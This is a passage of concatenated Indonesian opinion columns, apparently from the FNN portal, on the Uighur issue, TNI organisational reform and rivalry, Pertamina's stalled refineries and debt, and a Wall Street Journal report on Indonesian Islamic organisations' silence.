kewajiban Indonesia bersuara mengenai persoalan Uighir ini. Indonesia jangan hanya diam dan diam saja, karena ini sudah sangat bertentangan dengan spirit internasionalisme yang dianut Indonesia. Tidak boleh ada penjajahan di atas muka bumi, dalam bentuk apapun. Tidak dibenarkan oleh konstitusi manapun, apalagi konstitusi Indonesia akan kejahatan yang menghancurkan nilai kemanusiaan seperti itu. Maka dengan tulisan ini, saya mendorong pemerintah Indonesia untuk hadir dalam penderitaan Muslim Uighur tersebut. Sebab negara-negara Islam dan negara-negara dunia sudah berbicara. Apa yang menghalangi Indonesia untuk tidak berbicara? Jangan sampai ini menimbulkan dugaan-dugaan bahwa Indonesia sudah betekuk lutut di hadapan rezim komunis China itu. PBB Perlu Bentuk Tim Investigasi Setidaknya sudah 30 Negara yang mengecam kejahatan rezim China terhadap Muslim Uighur. Negara-negara itu menyampaikan pernyataan di sela-sela rapat Majelis Umum PBB pada 26 September 2019. Tentu Perhatian Internasional sudah sangat mendukung untuk dibentuk Tim Investigasi terhadap kejahatan kemanusiaan itu. Karena itu, untuk menyelesaikan problem kemanusiaan tersebut, negara-negara Islam melalui Organisasi Konferensi Islam (OKI) harus mendesak dan meminta PBB segera membentuk tim Investigasi Independen, guna menyelesaikan persoalan itu. Tanpa tim investigasi, dalam ketertutupan media China, tentu masyarakat dunia tidak akan tahu secara menyeluruh tentang kejahatan kemanusiaan itu. Oleh karena itu, Peran PBB begitu sangat penting untuk menyelesaikan masalah ini. Kita berharap dan berdoa, semoga kaum muslimin Uighur selalu diberikan kesabaran dan kekuatan. Kita warga muslim di manapun berada, harus terus menyuarakan persoalan kemanusiaan ini, sehingga tidak ada lagi kejahatan kemanusiaan terhadap siapapun. Wallahualam bis shawab. Penulis adalah Advokat, Dosen Hukum dan Fisip Universitas Muhammadiyah Jakarta

Perpres No. 66 Tahun 2019 Gagal Perkuat Organisasi TNI

Fakta sekarang yang dapat kita liat adalah sarana dan prasarana perkantoran maupun alutsista untuk tiga Kogabwilhan ini, terbilang masih zero growth. Meja dan kantor saja masih numpang sana-sini. Namun para petingginya yang menjabat sudah dibuatkan Surat Keputusan (Skep). Sudah ada jabatan Pangkogabwilhan, Kaskogabwilhan , Asrenakogabwilhan juga sudah ada. By Surya Fermana Jakarta, FNN - Isi paling penting dari Peraturan Presiden (Perpres) Nomor 66 Tahun 2019 adalah diadakknya kembali jabatan Wakil Panglima TNI. Selain itu, Pembentukan Komando Gabungan Wilayah Pertahanan (Kogabwilhan). Wakil Panglima TNI dalam Paragraf 2 Pasal 15 dijabarkan sebagai kordinator pembinaan interoperabilitas Tri Matra Terpadu. Kelihatannyta Wakil Pamglima TNI diadakan sebagai kordinator dari Kogabwilhan. Kogabwilhan adalah bagian dari Komando Utama (Kotama) TNI. Aturan mengenai tugas ini diatur dalam Paragraf 1 pasal 13. Dijelaskan bahwa Kotama terdiri dari Kogabwilhan, Kostrad, Armabar, Kohanudnas, Hidro dan Oseonografi, Kodam, Koppasus, Komando Lintas Laut Militer, Korp Marinir . Semua kotama pembinaannya berada di bawah masing-masing matra, Angkatan Darat, Angkatan Laut dan Angkatan Udara. Sedangkan Kogabwilhan berada di bawah langsung Markas Besar TNI. Kogabwilhan idealnya untuk mewujudkan orkestrasi operasi antar matra. Terutam dalam menghadapi kondisi perang dan non perang. Mencoba meniru konsep Deployment Amerika Serikat, di mana wilayah tidak ada komando seperti Komando Indo-pasifik. Namun konsep dari Amerika Serikat tersebut berada di luar wilayah teritorial Amerika Serikat. Sesuai dengan doktrin militer mereka yang ekspansif. Ingin menguasai dunia sebagai polisi dunia. Sedangkan konsep pertahanan Indonesia tidak ekspansif. Pertahanan Indonesia adalah pertahanan negara dan mewujudkan perdamaian dunia. Coba kita liat struktur organisasi TNI, khususnya Kotama sudah cukup banyak Komando-Komando. Semua panglimanya di setiap Komando. Kenyataan ini membuat Indonesia lebih hebat dari Amerika Serikat dalam mempertahankan teritori, karena mempunyai Komando Teritorial Angkatan Darat dengan perwujudan Komando Daerah militer hingga sampai ke tingkat desa. Secara filosofi, pertahanan Kogabwilhan sudah kurang tepat. Apabila alasannya adalah orkestra Tri Matra maka cukup dengan sering melakukan latihan operasi gabungan antar matra di wilayah yang sudah dibagi, yaitu Barat, Tengah dan Timur. Fakta sekarang yang dapat kita liat adalah sarana dan prasarana perkantoran maupun Alutsista untuk tiga Kogabwilhan, terbilang masih zero growth. Meja dan kantor saja masih numpang sana-sini. Namun para petingginya udah dibuatkan Surat Keputusan (Skep). Sudah ada jabatan seperti Pangkogabwilhan, Kaskosgabwilhan, Asrenakosgabwilhan juga sudah ada. Dimana saja para petinggi Kogabwilhan berkantor sekarang? Mungkinsebagian masih berkantor di Mabes TNI. Dalam hal operasi militer selain perang sudah ada BNPB, Basarnas dan Bakamla. TNI cukup menyediakan pasukan profesional. TNI lebih baik fokus pada pengadaan Alutsista sesuai Renstra II untuk mencapai minimum esential force (MEF). Masih banyak Alutsista yang belum diwujudkan seperti Pesawat Canggih, Radar Kontrol Darat, Rudal Pertahanan Udara dan Kapal Pertahanan Laut yang bisa mengkover seluruh wilayah territorial NKRI. Jangan sampai fokus pada konsep organisasi yang muluk-muluk tapi melenceng dari MEF. TNI perlu mewujudkan penguatan pada masing-masing matra. Bukan sebaliknya, membuat Komando Gabuangan diantara tiga matra yang ada. TNI Aangkatan Darat misalnya, perlu penguatan kembali teritorial dan pelebaran divisi Kostrad ada di setiap bagian wilayah. Sedangkan di TNI Angkatan laut, diperlukan penguatan Armada Laut yang ada di seluruh wilayah Indonesia. Begitu dengan TNI Angkatan Udara. Diperlukan ketersediian alutsista dan prajurit profesional dalam mengkover seluruh wilayah pertahanan udara Indonesia. Kenapa saya rewel dan bawel mengenai penggemukan struktur organisasi TNI ini ? Karena anggaran rutin TNI sudah mencapai 60% hanya untuk biaya gajih dan tunjangan. Nah dengan Perpres No. 66 tahun 2019 ini, bakalan menambah porsi anggaran untuk gajih dan tunjangan lagi. Padahal anggaran yang ada, dan masih sangat terbtas ini, lebih baik dioptimalkan untuk pengadaan Alutsista dan peningkatan profesionalitas prajurit. Mengutip tulisan Edna Pattisiana di harian Kompas edisi tanggal 20 Desember 2019 terjadi surplus Kolenel dan Perwira Tinggi (Pati) yang tidak mempunyai jabatan (non job) di TNI mencapai sekitar 25% dari jabatan tersedia. Secara keseluruhan baru 75% susunan organisasi terpenuhi. Ada kekosongan personel dari Kopral sampai Letnan Kolonel, sehingga dalam operasi sering rangkap jabatan dan kelebihan pekerjaan karena personel tidak cukup. Itu juga menghambat perwira yang sekolah ke luar negeri guna meningkatkan kemampuan dan menambah wawasan intelijen serta diplomasi. Diperkirana jabatan Wakil Panglima TNI akan tumpang tindih dengan tugas-tugas Kepala Staf Umum (Kasum) Panglima TNI. Dalam Pasal 16 Kasum dijabarkan sebagai kordinator Pembina di Markas Besar TNI. Dengan demikian Kogabwilhan juga berada di bawah kordinasi Kasum karena bagian dari Mabes TNI. Konsekuensinya ada dua kordinator untuk Kogabwilhan, yaitu Wakil Panglima TNI dan Kasum TNI. Nah, jangan sampai Wakil Pamnglima TNI para Pangkogabwilhan beserta jajaran di bawahnya menjadi non job baru, dengan gajih dan tunjangan jabatan besar, namun belom punya kantor. Kerjanya apa ? juga belom jelas. Namun sudah dipastikan bakal menggerogoti anggaran TNI. Pertanyaanya, apakah ketika membuat Perpres No. 66 Tahun 2019 ini, Pak Jokowi berbeda pikiran dengan pernyataannya sendiri ketika mau menyederhanakan eselon di kementerian? Penulis adalah Pengamat Militer

Mafia Migas Operasi Hambat Pertamina Bangun Kilang Baru

Oleh Salamuddin Daeng Jakarta, FNN – Presiden Jokowi berkali-kali meminta Pertamina untuk membangun kilang minyak baru. Tentu saja yang diminta Presiden Jokowi untuk membangun kilang adalah Pertamina. Mengapa harus Pertamina ? Karena sebagai BUMN, Pertamina lah merupakan perpanjangan tangan pemerintah untuk membangun kilang minyak. Pemerintah tidak dibolehkan untuk membangun kilang sendiri. Karena kilang adalah usaha bisnis. Sedangkan regulasi melarang pemerintah tidak boleh berbisnis. Kalau pemerintah boleh berbisnis, maka pemerintah bisa saja disalahkan atas masalah ini. Setelah lima tahun pemerintahan Jokowi periode pertama berlalu, tidak ada satupun kilang baru yang dibangun. Bahkan sampai sekarang, belum ada tanda-tanda kilang bakal dibangun, meski hanya 1% realisasinya. Ternyata permintaan Presiden Jokowi tak didengar oleh Pertamina. Sungguh sangat tragis sekali. Pihak-pihak yang diserahkan tanggung jawab untuk mambangun kilang ini, tidak melakukan langkah langkah sama sekali. Aneh bin ajaib. Perintah Presiden hanya dianggap angin lalu. Patut diduga ada pihak-pihak yang tidak menghendaki pembangunan kilang baru. Kerjasama Orang Dalam Bagaimana dengan upaya Pertamina ke arah pembangunan kilang baru? Sampai sekarang hasilnya masih nihil. Padahal seharusnya Pertamina yang paling kompeten bangun kilang baru. Pertamina adalah BUMN migas satu-satunya di tanah air. Sampai sekarang, Pertamina adalah satu dinatara perusahaan dengan asset terbesar di Indonesia. Belanja minyak Pertamina sangat bdesar. Bisa mencapai Rp 1.000 triliun setiap tahun. Masa iya sih Pertamina tidak sanggup membangun kilang minyak baru? Kenyataannya memang Pertamina tidak sanggup. Tidak bisa membangun kilang baru. Wajar saja kalau dipertanyakkan oleh Presiden Jokowi. Sebab kilang minyak yang ada sekarang sudah tua semuanya. Entah sampai berapa lama lagi kilang-kilang yang sudah tua itu sanggup beroperasi untuk memenuhi kebutuhan migas nasional? Sementara tuntutan zaman semakin beragam. Tuntutan terhadap isue-isue energi yang ramah terhadap lingkungan menjadi kebubutan yang mendesak. Masyarakat internasional sangat peduli dan bersikap antipati terhadap produk-produk tidak ramah lingkungan atau mencemari lingkungan. Patut diduga ada mafia migas bekerja. Sengaja menghalang-halangi setiap upaya Pertamina untuk membangun kilang baru. Mafia migas bekerjasama dengan orang dalam Pertamina. Tujuannya, agar Pertamina tetap tergantung kepada impor migas. Targetnya solar dan elpiji tetap bisa diimpor. Sebab keuntungan yang didapat dari impor migas lebih gampang dari pada membangun kilang minyak sendiri. Bisa juga patut diduga ada setoran besar dari importir migas. Meraka inilah yang berusaha dengan cara menghalangi pembangunan kilang minyak baru. Untuk itu, Presiden Jokowi harus mengecek keberadaan mafia impor ini dan memberantasnya sampai tuntas. Pertamina sendiri sudah membuat dua direksi, yang ada kaitannya dengan pembangunan kilang baru. Kedua direksi itu adalah direktur mega proyek, yang didukung oleh direktur infrastruktur. Kalau tidak ada pembangunan kilang baru, patut dipertanyakan apa saja pekerjaan dua direksi itu selama ini? Kok bisa ya, satu persen pembangunan kilang baru tidak jalan? Dengan demikian, wajar saja kalau Presiden Jokowi murka melihat kenyataan ini. Mengapa Direktur Utama seolah-olah cuek saja. Sepertinya menganggap omongan Presiden Jokowi sebagai dagelan belaka? Kalau alasannya Pertamina tidak punya uang? Maka faktanya Pertamina sangat pandai cari uang. Pertamina juga pandai mencari mitra usaha untuk membangun kilang baru. Perusahaan sebesar Pertamina pasti gampang mencari uang mitra usaha untuk membangun kilang baru. Lain halnya kalau direksi Pertamina tidak mau mencari uang. Lain halnya kalau Pertamina kini telah menjadi perpanjangan tangan dari mafia migas yang tidak menghendaki Pertamina membangun kilang baru. Kalau begitu adanya, maka direksi tinggal menerima nasib. Tunggu Presiden Jokowi murka. Global Bond Menumpuk Meskipun sampai sekarang Pertamina belom membangun kilang minyak baru. Namun Pertamina telah menumpuk banyak utang dalam besar untuk menjalankan kegiatan usahanya. Pertanyaan publik yang mungkin sama dengan pertanyaan Presiden Jokowi adalah untuk apa uang dari hasil utang itu digunakan oleh direksi Pertamina ? Setelah libur panjang beberap tahun membuat global bond, pada akhir Tahun 2018, tepatnya tanggal 7 November 2018, tiga bulan setelah Dirut Pertamina yang baru dilantik, Pertamina kembali mengambil utang global bond senilai U$D 750 juta dollar. Tercatat Nicke Widyawati menjabat sebagau pelaksana tugas Dirut Pertamina sejak April 2018. Selanjutnya Tahun 2019 Pertamina membuat global bond dua kali USD 750 juta. Tepatnya pada bulan Juni 2019 senilai U$ 1,5 miliar dollar. Dengan demikian jumlah utang global bond yang dibuat Direktur Utama Pertamina Nicke Widyawati sejak menjabat April 2019 sudah mencapai Rp. 31,5 triliun. Hanya dalam kurun waktu kurang dari setahun. Dengan bunga rata-rata 6 persen. Global bond yang baru, ditambah dengan akumulasi utang global bond yang dibuat sebelumnya telah sekitar mencapai U$ 11 miliar dollar. Setara dengan Rp 154 triliun pada kusr Rp 14.000 per dollar. Tahun 2011 Pertamina membuat global bond senilai U$ 1,5 miliar dollar, tahun 2012 U$ 2,5 miliar dollar, tahun 2013 U$ 3,25 miliar dollar, dan tahun 2014 U$ 1,5 miliar dollar. Utang Pertamina terus menumpuk dari tahun ke tahun. Belum termasuk utang utang kepada bank. Anehnya, produksi migas juga tidak meningkat secara significant. Justru yang paling tragis adalah impor migas, terutama LPG yang justru semakin meningkat. Yang lebih tragis lagi, karena tidak ada satu kilang baru yang dibangun oleh Pertamina. Pertanyaan, untuk keperluan apa pengadaan utang sebanyak itu? Sementara keuntungan Pertamina juga makin mengecil, bahkan cenderung merugi. Kinerja keuangan yang kurang baik ini akan menjadi masalah besar kepada Pertamina di masa mendatang. Dengan kemampuan mendapatkan laba kecil saat ini, mustahil bagi Pertamina untuk bisa membayar utang- utangnya. Berbeda kalau Pertamina mengambil utang, namun berhasil membangun kilang pengolahan migas baru. Produktifitas utang tersebut akan dapat membantu Pertamina membayar kewajiban di masa medatang. Namun jika perintah Presiden Jokowi masih dianggap sebagai angin lalu, maka suatu saat Pertamina bisa gagal bayar utang. Dan itu menjadi beban bagi pemerintah. Wajar Pak Jokowi Marah Penulis adalah Peneliti Pada Asosiasi Ekonomi Politik Indonesia (AEPI)

Relasi Kuasa Hadi-Andika di Persimpangan Jalan

Oleh Selamat Ginting Ada apa sebenarnya yang terjadi dengan elite TNI? Khususnya antara Panglima TNI Marsekal Hadi Tjahjanto dengan KSAD Jenderal Andika Perkasa. Jakarta, FNN - Dalam dua bulan terakhir, ada beberapa peristiwa di mana Kepala Staf Angkatan Darta (KSAD) Jenderal TNI Andika Perkasa tidak terlihat menghadiri acara dimana ada Marsekal Hadi. Peristiwa-peristiwa yang mengundang tanda tanya besar. Seperti hubungan panas dingin diantara keduanya. Andika kini malah terlihat lebih banyak bersama Menteri Pertahanan (Menhan) Prabowo Subianto. Keduanya sama-sama berlatar belakangt Unit Penanggulangan Teror (Gultor) Kopassus. Saat Mayjen Prabowo menjadi Komandan Jenderal Kopassus, Andika masih berpangkat kapten infanteri (Komando). Terakhir, Andika (Akmil 1987) bersama Menhan Prabowo terlihat bersama di Bandung. Saat pertemuan KSAD se-ASEAN, Senin (25/11/2019) lalu. Dari Mabes TNI diwakili Kasum, Letjen Joni Suprianto (Akmil 1986). Prabowo dan Andika menjadi bintang dalam acara ACAMM Asean Chief of Army Multilateral Meeting (ACAMM). Sebelumnya Andika juga bertemu dengan Prabowo, saat peresmian Patung Jenderal Besar Soedirman di Turusan, Desa Banyuraden, Kecamatan Gamping, Kabupaten Sleman, Yogyakarta, Ahad (10/11/2019). Tepat di Hari Pahlawan itu, Andika justru tidak hadir di Taman Makam Pahlawan Nasional Utama Kalibata, Jakarta Selatan. Saat itu, pimpinan Angkatan Darat diwakili Wakil KSAD Letjen Tatang Sulaiman (Akmil 1986). Tatang mendampingi Panglima TNI Marsekal Hadi Tjahjanto. Hadir pula KSAL Laksamana Siwi Sukma Adji (AAL 1985), KSAU Marsekal Yuyu Sutisna (AAU 1986), dan Kepala Polri Jenderal Idham Aziz (Akpol 1988-A). Begitu juga saat Hadi ke Papua pada 28-29 Oktober 2019. Andika malah menemani Menhan Prabowo. Keduanya menerima kunjungan Duta Besar Cina di Indonesia Xiao Qian di Kementerian Pertahanan, Selasa (29/10/2019). Nah, saat Hadi menerima Menhan Prabowo di Mabes TNI pada Rabu (30/10), Andika juga tidak hadir. Andika diwakili Wakil KSAD Letjen Tatang Sulaiman. Hadir pada acara itu, antara lain KSAL Laksamana Siwi Sukma Adji, dan KSAU Marsekal Yuyu Sutisna. Pada acara pelantikan Kepala Polri Jenderal Idham Aziz, Marsekal Hadi bertindak sebagai saksi bersama Mendagri Tito Karnavian, 1 November 2019. Di situ pula Andika tidak hadir. Pimpinan Angkatan Darat diwakili Letjen Tatang Sulaiman. Interaksionisme simbolik Bagaimana menerjemahkan ketidakhadiran Jenderal Andika saat acara yang juga dihadiri oleh Marsekal Hadi? Apakah sebuah kebetulan, karena ada acara bersamaan? Penulis mencoba melihatnya dari teori interaksionisme simbolik. Salah satu teori yang banyak digunakan dalam penelitian sosiologi. Teori ini memiliki akar keterkaitan dari pemikiran Max Weber yang mengatakan, “tindakan sosial yang dilakukan oleh individu didorong oleh hasil pemaknaan sosial terhadap lingkungan sekitarnya.” Makna sosial diperoleh melalui proses interpretasi dan komunikasi terhadap simbol-simbol di sekitarnya. Tanda-tanda tersebut merupakan simbol yang digunakan untuk berkomunikasi dan menyampaikan pesan pada orang lain. Teori interaksionisme simbolik melihat sebuah tindakan dengan penggunaan simbol dalam rangka mendeklarasikan identitas semacam ‘inilah diriku’. Bisa jadi, itulah bentuk protes Jenderal Andika terhadap Hadi yang lebih mengutamakan memilih perwira tinggi yang satu letting (lulusan kelas yang sama) 1986. Sebelum, promosi terhadap IB Purwalaksana sebagai Irjen Kemhan, berdasarkan keputusan panglima TNI pada 26 November 2019, abituren Akmil 1987, teman lulusan Jenderal Andika, seperti ‘gigit jari’. Abituren Akmil 1986 punya tujuh letjen, termasuk Hinsa Siburian yang sudah pensiun. Sedangkan Akmil 1987, hanya punya satu Jenderal dan dua Letjen. Kini dalam waktu dekat akan menjadi tiga letjen dengan naiknya IB Purwalaksana. Bisa jadi pula, Andika dianggap ‘kurang memperjuangkan’ teman-temannya sesama Akmil 1987. Akmil 1985 pun hanya empat Letjen. Sedangkan Akmil 1988 A maupun B, belum satu pun yang mendapatkan promosi Letjen. Hal ini pula yang dipertanyakan, mengapa Angkatan Darat tertinggal dari Angkatan Laut maupun Angkatan Udara? Bahkan jauh tertinggal dari Kepolisian, karena lulusan 1990 sudah ada yang berpangkat Komisaris Jenderal (setingkat Letjen, Laksdya, dan Marsdya). Makna ketidakhadiran Jebdral Andika, jika diteropong dari teori interaksionisme simbolik, bisa dianalisiis masyarakat berdasarkan makna subjektif yang diciptakan individu sebagai basis perilaku dan tindakan sosialnya. Individu diasumsikan bertindak lebih berdasarkan apa yang diyakininya. Bukan berdasar pada apa yang secara objektif benar. Apa yang diyakini benar merupakan produk konstruksi sosial yang telah diinterpretasikan dalam konteks atau situasi yang spesifik. Hasil interpretasi ini disebut sebagai definisi situasi. Itulah situasi relasi kuasa antara Marsekal Hadi dengan Jenderal Andika. Ada persaingan terselubung. Tentu saja, keduanya akan membantah argumen ini. Silakan saja membantah. Toh, boleh-boleh berbeda dalam perspektif. Pola Karier Untuk itu, penulis juga akan mengaitkannya dengan pola jenjang karier yang berlaku untuk perwira tinggi TNI. Karier adalah perkembangan dan kemajauan yang terbuka bagi prajurit dalam kesempatan untuk mendapatkan jabatan atau kedudukan tertentu. Termasuk kenaikan pangkat, kesempatan mengikuti pendidikan, serta pemindahan dan giliran penugasan. Karena itu, pimpinan tentara, harus memberikan kesempatan seadil-adilnya kepada setiap perwira untuk mengembangkan kariernya. Tentu saja melalui sebuah perencanaan yang baik, dan giliran penugasan serta kesempatan pendidikan untuk mencapai kemajuan. Dalam pola dasar karier perwira, maka jabatan pada perwira tinggi merupakan fase darma bakti. Pengabdian sebagai perwira lebih dari 25 tahun. Setelah minimal 25 tahun jadi perwira, baru pantas menyandang pangkat Brigjen, Laksma, Marsma. Ini merupakan masa terakhir dari karier seorang perwira. Penekanannya akan beralih dari sekadar pengembangan kemanfaatan maksimal seorang perwira dalam darma baktinya. Fokus perwira tinggi pada masalah-masalah strategi pertahanan dan kebijaksanaan TNI. Sehingga mereka bisa berkarsa dan berkarya nyata, khususnya dalam menghadapi perkembangan ilmu pengetahuan dan teknologi. Maka selayaknya, jabatan-jabatan Komadan atau Panglima, serta staf tingkat tinggi akan dipercayakan kepada perwira yang sangat menonjol di antara perwira yang potensial. Harus dilihat latar belakang penugasan bidang staf, pendidikan, pembinaan teritorial, serta komando pada unit kesatuan yang lebih besar. Tentu dengan ukuran prestasi yang sangat menonjol. Bukan semata-mata, karena sama-sama lulusan satu letting (sekelas). Harapannya, agar organisasi TNI bisa lebih professional, modern, dan mampu menjaga soliditas organisasi. Panglima Besar Soedirman telah memberikan contoh teladan yang patut dicontoh generasi penerus saat ini. Utamanya dalam menjaga soliditas TNI di saat negara dalam keadaan yang genting. Catatan. Tulisan ini telah dibaca di Harian Republika edisi Senin 16 Desember 2019 dan Republika Online edisi Selasa 17 Desember 2019. Namun belakangan tidak lagi dapat diakses di Republika Online. Tulisan dapat dimuat di Portal Berita Online FNN, dengan terlebih dulu mendapatkan persetujuan dari penulis Penulis adalah Wartawan Senior

Krisis Organisasi TNI di Eranya Hadi

By Surya Fermana Jakarta, FNN - Tatkala Jokowi mengganti Gatot Nurmantyo sebagai Panglima TNI pada Bulan Desember 2017 dia berharap agar terjadi regenerasi di tubuh TNI. Langkah menuju ke sana ditempuh dengan mengangkat personil yang belum terakomodir. Targetnya, untuk menghindari Bottle Necking. Namun dua tahun berlalu, hingga Desember 2019, problem The Bottle Necking kian akut saja. Bahkan terkesan mengancam soliditas dan efektivitas organisasi TNI. Senin dua hari lalu, saya baca tulisan saudara Selamat Ginting seorang jurnalis senior Republika di Republika Online (06/12/2019). Judulnya adalah “Dominasi 86 dan Langkah Cegah Nepotisme Militer”. Berangkat dari tulisan tersebut, sekarang terlihat organisasi TNI seperti semakin carut-marut dan tidak efektif. Slamet Ginting menyebut nama-nama angkatan 1986 yang kini mendominasi dan meraih bintang empat dan bintang tiga. Panglima Komando Gabungan Wilayah Pertahanan (Pangkogabwilhan) yang semula ditujukan untuk mengakomodir lebih banyak Jenderal di TNI malah menjadi jalan buntu. Bahkan cenderung mengarah ke pemborosan anggaran. Letjen TNI Ganif Warsito (angkatan 86) yang semula menjabat Asisten Operasi (Asops) Panglima TNI dipromosikan jadi Pangkogabwilhan III. Ganif digantikan oleh Mayjen TNI Tiovan Aritonang (angkatan 86) yang semula menjadi Asops Kasad dan Pangdam Merdeka, Sulawesi Utara. Sampai sekarang Pangkogabwilhan belum ada kantor atau Markas Komando. Pekerjaan yang jelas mengenai konsep kordinasi operasi antar angkatan (interoperabilitas) di TNI. Ini jelas berlawanan dengan konsep Jokowi yang menghendaki penyederhanaan organisasi dan eselon. Dulu Jenderal LB Moerdani pernah menciutkan organisasi sejenis seperti Panglima Komando Wilayah Pertahanan (Pangkowilhan). Tujuannya untuk efektivitas dan profesionalitas TNI. Beliau menghapus Pangkowilhan. Kemudian melikuidasi Kodam dan menciutkan Koppasus. Untuk apa gemuk tapi tidak sehat. Biaya rutin yang boros akibat organisasi besar yang miskin fungsi. Lebih baik biaya digunakan untuk latihan dan operasi. Sebab secara intelijen strategis, Indonesia tidak akan mengalami perang antar negara. Lebih baik penguatan profesionalitas pada tiap-tiap angkatan. Targetnya, untuk menjalankan tugas dan fungsinya yang sudah jelas tanpa harus tumpang tindih dipaksakan dengan jargon sinergitas. Baru hari ini saya mendapatkan kabar bahwa Asops Panglima TNI sudah diisi oleh Mayjen TNI Tiopan Aritonang, sebelumnya menjabat Pangdam Merdeka. Sedangkan Pangdam Merdeka diisi oleh Mayjen TNI Santos Mantondang. Sebelumnya Pangdam Merdeka dibiarkan lama lama kosong. Posisi Kodam Merdeka sangat penting strategis, karena menghadap Laut Cina Selatan dan Mindanau. Tempat dimana kelompok ISIS beroperasi. Keliatannya posisi Asops di kalangan Mabes TNI dan AD sangat penting dan strategis, sehingga pengisiannya belum bisa lepas dari perkolegaan dan perkoncoan. Saya menduga wacana pengangkatan Wakil Panglima TNI adalah upaya melanggengkan kekuasaan satu letting, sehingga seluruh matra dan pucuk tertinggi TNI hanya diisi oleh satu angkatan yang sama. TNI AD memiliki jumlah personel dan pengaruh yang besar. Terlihat KASAD Andika Perkasa mau dilemahkan fungsinya, dengan bahasa penghalusan diangkat menjadi Wakil Panglima TNI. Kita bisa melihat ketika Menteri BUMN Eric Tohir mengganti para Deputi Kementerian BUMN menjadi Wakil Dirut di BUMN. Jelas maksudnya adalah dibuang bukan promosi. Kemacetan organisasi TNI tidak boleh dibiarkan berlama-lama, karena akan merugikan bangsa dan negara di tengah krisis ekonomi politik global yang semakin menguat belakangan ini. Isu konflik kepentingan dalam pengadaan Alutsista di tubuh TNI juga perlu diperhatikan. Karena bisa melemahkan pertahanan dan kekuatan bangsa, khususnya di sistem pertahahan udara nasional. Pengadaan Ground Control Intercept (GCI) dan pengadaan pesawat tempur canggih harus diaudit secara selektif dan prudent. TNI selama reformasi ini menjadi profesional dan terpercaya. Dampaknya, TNI sangat dipercaya oleh masyarakat luas. Kepercayaan yang tinggi tersebut, harus bisa tetap dipertahankan. Jangan sampai kepercayaan ini berantakan, hanya disebabkan oleh Korupsi, Kolusi dan Nepotisme (KKN) letting 1986. Untuk itu diperlukan sikap tegas dari Presiden Jokowi sebagai Panglima Tertinggi untuk membenahi masalah ini. Penulis adalah Pengamat Militer

Tamparan "Wall Street Journal" untuk Ormas Islam Indonesia

Oleh Mochamad Toha Jakarta, FNN - Sejarah mencatat, hanya 20 tahun setelah Nabi Muhammad SAW wafat, umat Islam tiba di Uighur, Xinjiang, perbatasan China, 3.000 km jauhnya dari Mekah. Itulah sejarah awalnya Islam masuk wilayah Kerajaan China. Kaisar Tang (China) menawarkan perdamaian. Ini ditandai dengan diterimanya utusan dari sahabat Nabi, Saad bin Abi Waqqash ra di pusat Kerajaan China. Saat itu belum ada yang namanya China Komunis. Uighur bergabung dalam Daulah Islam di masa Utsman bin Affan ra., dari Uighur inilah teknologi kertas pindah dari China ke negeri muslim, sehingga dimulailah penyusunan mushaf Qur’an Utsmani. Selama 1.400 tahun Uighur tetap menjadi negeri muslim, walaupun pernah dikuasai Mongol di abad 13 M, bahkan semasa era imperialis Eropa yang menjajah China, para jago kungfu Uighur, Xinjiang, ikut terlibat dalam perlawanan mengusir penjajah Eropa. “Salah satunya dalam tragedi the Boxer, dimana banyak jagoan kungfu Uighur menghabisi tentara gabungan Inggris-Eropa di kota-kota China tahun 1900-an,” ujar KH Fahmi Salim, Wakil Komisi Dakwah MUI Pusat. Menurut Wakil Sekjend MIUMI Pusat itu, ketika Mao Tse Tung komunis terusir dari kota-kota China pada 1940-an, ia lari ke Xinjiang, menumpang hidup di wilayah Uighur. Kini China komunis berbalik, menghabisi semua simbol Islam, dari negeri yang tersisa Islam-nya di China. Sebab semua sejarah Islam di China sudah banyak dihapus, yang membuat kita tidak paham Wong Fei Hung itu seorang muslim. Bahwa saat Kaisar Ming China berkuasa pada abad 15 M, pejabatnya didominasi gubernur dan jenderal muslim hingga melahirkan Laksamana Cheng Ho. Saat revolusi China oleh Sun Yat Sen pada 1910 masih ada jendral China yang muslim. Pada 1945 saat Mao komunis berkuasa, beberapa jendral China yang muslim menyelamatkan diri ke Taiwan. Mao yang pernah “berlindung” di wilayah Uighur itu tidak bisa berbalas budi. Sejak Mao berkuasa, China mulai menindas Uighur. Etnis atau suku Uighur adalah kelompok minoritas keturunan Turki yang berasal dari dan terhubung dengan kebudayaan Asia tengah. Orang Uighur tidak sama dengan orang China. Baik secara fisik maupun psikis. Perawakan mereka berbeda dari orang Han atau suku-suku lain di China. Ideologi dan tradisi Uighur juga berbeda. Sejarah mencatat, China mengimplementasikan kebijakan yang sangat kejam terhadap umat Islam Uighur. Sejak zaman Mao Tse Tung, China tak pernah berhenti menindas Uiguhr. Mao mengirimkan migran suku Han (mayoritas di China) dalam jumlah besar ke wilayah Turkestan Timur (yang kemudian diberi nama Xingjiang setelah dicaplok China). Program transmigrasi ini bertujuan untuk membuat suku Uighur menjadi minoritas. China berhasil. Uigur menjadi warga minoritas di negerinya sendiri. Penindasan berlangsung terus. Hampir satu juta warga Uighur dikurung di dalam camp konsentrasi. China komunis mengatakan mereka direedukasi (dididik ulang). Di camp konsentrasi yang sangat besar, warga Uigur dipaksa mengikuti ajaran komunis. Dipaksa meninggalkan ajaran Islam. Bahkan dipaksa memakan daging babi. Dipaksa tidak berpuasa di bulan Ramadan. Itulah yang dilakukan oleh rezim China komunis. Reaksi dunia Islam atas perlakuan China terhadap etnis Uighur sudah banyak dikecam masyarakat Muslim dunia, tidak terkecuali di Indonesia. Sayangnya ini tidak dilakukan Ormas Islam-nya. Itulah yang kemudian membuat The Wall Street Journal (WSJ) menurunkan tulisan terkait bungkamnya ormas Islam di Indonesia seperti Muhammadiyah, Nahdlatul Ulama, dan MUI. Sikap Pemerintah juga sami mawon: Bungkam! Bahkan, seperti diungkap Salim Said yang mengutip pernyataan tokoh Muhammadiyah Din Syamsudin, Presiden Joko Widodo sendiri tidak mau menerima utusan Uighur yang ingin bertemu di Istana Merdeka. Yang membuat heboh artikel itu adalah tudingan WSJ atas sikap diamnya Muhammadiyah, NU, dan MUI. Ormas Islam yang mewakili umat Islam di Indonesia itu, ternyata tak punya sikap tegas atas perlakuan pemerintah China pada etnis Uighur. WSJ dalam edisi Rabu (11/12/2019) berjudul “How China Persuaded One Muslim to Keep Silent on Xinjiang Camps” menyebut, Muhammadiyah, NU, dan MUI mendapat gelontoran dana dari pemerintah China sehingga bungkam dan sikapnya berubah terhadap muslim Uighur. Mengutip wartawan senior Hersubeno Arief dalam tulisannya, penulis artikel tersebut adalah Jonathan (Jon) Emont koresponden WSJ yang berbasis di Hongkong. Dia banyak menulis soal Uighur dan Rohingya. Sebelum bergabung dengan WSJ, wartawan yang fasih berbahasa Indonesia ini pernah 